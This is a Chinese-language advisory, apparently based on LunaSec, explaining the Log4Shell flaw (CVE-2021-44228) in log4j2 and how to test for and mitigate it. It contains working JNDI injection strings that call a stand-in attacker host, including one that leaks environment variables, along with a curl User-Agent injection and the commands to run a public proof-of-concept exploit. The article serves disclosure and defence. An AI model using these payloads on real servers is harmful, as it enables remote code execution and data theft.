影响整个Java世界:log4j2日志包中发现RCE 0day漏洞 - lunasec


几个小时前,在流行的 Java 日志库log4j中发现了一个 0day漏洞(绰号 Log4Shell 或 LogJam或 log4j2rce,详见:CVE-2021-44228),该漏洞通过记录某个字符串导致远程代码执行 (RCE)。
鉴于log4j2库非常流行,漏洞会被利用完全控制你的服务器,实现挖矿等无法想象的后果。这个 log4j 漏洞非常严重, 该漏洞在 CVSS 评级系统中的得分为 10 分,满分是10分,表明问题的严重性。数以百万计的应用程序使用 Log4j 进行日志记录,攻击者所需要做的就是让应用程序记录一个特殊的字符串,当启用消息查找替换时,攻击者可以执行从LDAP服务器加载的任意代码。
到目前为止,iCloud、Steam 和 Minecraft 都已确认存在漏洞。
这篇文章提供了资源来帮助您了解漏洞以及如何自行缓解。
  
漏洞原理
程序员以为log4j2这样日志框架只会将消息视为数据并处理基本格式。但是,Log4j 2.0 添加了lookups,包括 JNDI 查找。这些 JNDI 查找不受限制,从而导致漏洞。
Java命名和目录接口(JNDI)是一个目录服务,它允许您使用LDAP或DNS到接口的Java API来查找数据和资源。不幸的是,可以返回的数据类型之一是指向Java类的URI——如果您加载了一个不受信任的 Java 类,那么您就会在不知不觉中执行其他人的代码。
例如:在系统的登录Login页面中,需要输入用户名和密码,这时只要将$ {jndi: ldap: //attacker.com/a}作为用户名输入,Log4j 引擎将 ${...} 解释为模板,并尝试检索指定ldap后的URL处的 Java 文件。然后执行此 Java 文件,从而允许攻击者完全控制服务器。Log4J 格式是可嵌套的,这意味着像 ${jndi:ldap://${env:user}.xyz.collab.com/a} 这样会泄漏服务器端环境变量。
更详细:假设你有下面一段代码,代码中使用了log4j作为日志输出:

@getMapping("/")
public String index(@RequestHeader(
"User-Agent") String browserName) {
  logger.info(
"Received a request for API version " + browserName);
  return
"Hello, world!";
}

攻击者只要调用:
curl 127.0.0.1:8080 -H 'User-Agent: ${jndi:ldap://攻击者IP:1389/a}'

你的程序将会调用攻击者IP的远程URL,这个URL会提供一个“恶意”类,其中包含一些他们希望在你应用中运行的代码。

深入原理见这篇文章

CVE-2021-44228(Apache Log4j 远程代码执行)攻击演示源码

git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java 
python -m SimpleHTTPServer 8888 

攻击运行:
cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/Exploit"

你会看到你本地的计算器被无故调用了。
其他:

 
测试自己是否受到影响?
可以通过https://canarytokens.org,选择下拉列表最后一行:Log4Shell;
输入你的邮箱,获得:
${jndi:ldap://XXX.canarytokens.com/a}
然后,按照前面所述,将这ldap格式字符串作为你的系统的参数传入,模拟攻击。
如果系统发生了XXX.canarytokens.com任何 DNS查询,将有一封报警信发送到你的邮件,说明你的系统存在有此漏洞威胁。

 
谁受到影响?
许多服务都容易受到这种攻击。Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。
任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。
这篇博文中讨论了针对 Apache Tomcat 服务器上存在的org.apache.naming.factory.BeanFactory类的攻击 。
远远不止上述,几乎所有java世界都受到影响。
 
受此影响Apache的log4j的版本

  1. 2.0 <= Apache log4j <= 2.14.1
  2. JVM 版本 - 如果低于:
    • Java 6 – 6u212
    • Java 7 – 7u202
    • Java 8 – 8u192
    • Java 11 - 11.0.2

如果上述两个条件都为真,几乎肯定会受到影响;注意还有一种观点(见文后)认为这个漏洞与Java版本无关。
 
解决方法:
  • 设置环境变量:log4j2.formatMsgNoLookups设置为true

方法:
>export JAVA_TOOL_OPTIONS=-Dlog4j2.formatMsgNoLookups=true
>cat Verify.java
  public class Verify {
    public static void main(String args) {
      System.out.println(System.getProperty("log4j2.formatMsgNoLookups"));
   }
}
>java Verify.java
Picked up JAVA_TOOL_OPTIONS: -Dlog4j2.formatMsgNoLookups=true

上述代码临时编写了一个Verify.java用来确证环境变量修改已经生效。
为什么不用JAVA_OPTS?因为 JAVA_OPTS 不是由 JVM 自动获取的。它由 shell/bat 脚本传递,然后您必须知道在哪里编辑这些脚本以确保传递 JAVA_OPTS。
  • 或更新到log4j-2.15.0或更高版本启动您的服务器:

    <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.15.0 </version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.15.0</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-1.2-api</artifactId>
            <version>2.15.0</version>
        </dependency>

使用Maven的排除exclusions语法防止log4j 1.x加载:

 <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts-taglib</artifactId>
            <version>1.3.8</version>
            <exclusions>
                <exclusion>
                    <groupId>log4j</groupId>
                    <artifactId>log4j</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

其他建议:

  • 注意上述办法仅适用于 2.10到2.14.1之间版本;但是更旧版本还是仍然容易受到攻击
  • log4j 支持任何配置的环境变量。在这种情况下,您将设置 LOG4J_FORMAT_MSG_NO_LOOKUPS=true关闭JNDI查找
  • 关于检查集群的所有 pod kubectl get pods -o name | xargs -I{} kubectl exec -it {} -- env | grep JAVA_TOOL_OPTIONS
  • 以色列网络安全公司 Cyber​​eason 还发布了一个名为“ Logout4Shell ”的修复程序。

 
此漏洞影响面非常广泛,从《我的世界》到整个Java世界都需要升级,下面链接是演示这种漏洞的攻击演示,从苹果官网到腾讯:
https://github.com/YfryTchsGD/Log4jAttackSurface
 
深入分析
log4j2漏洞源码
PSA:Log4Shell 和 JNDI 注入的当前状态
在默认安装中,JNDI 支持两种“有趣”的协议:RMI 和 LDAP。

  • 从 Java 8u121 开始,RMI(但不是 LDAP)默认不再允许远程代码库
  • LDAP 名称仍然允许直接远程执行代码。这种“疏忽”后来才在 Java 8u191 中作为 CVE-2018-3149 解决

在 Java 8u191 之前,存在从受控 JNDI 查找到任意代码的远程类加载的直接路径。该 Java 版本大约有 3 年历史。
结论:不要依赖当前的 Java 版本来拯救你:更新 Log4J(或删除 JNDI 查找)。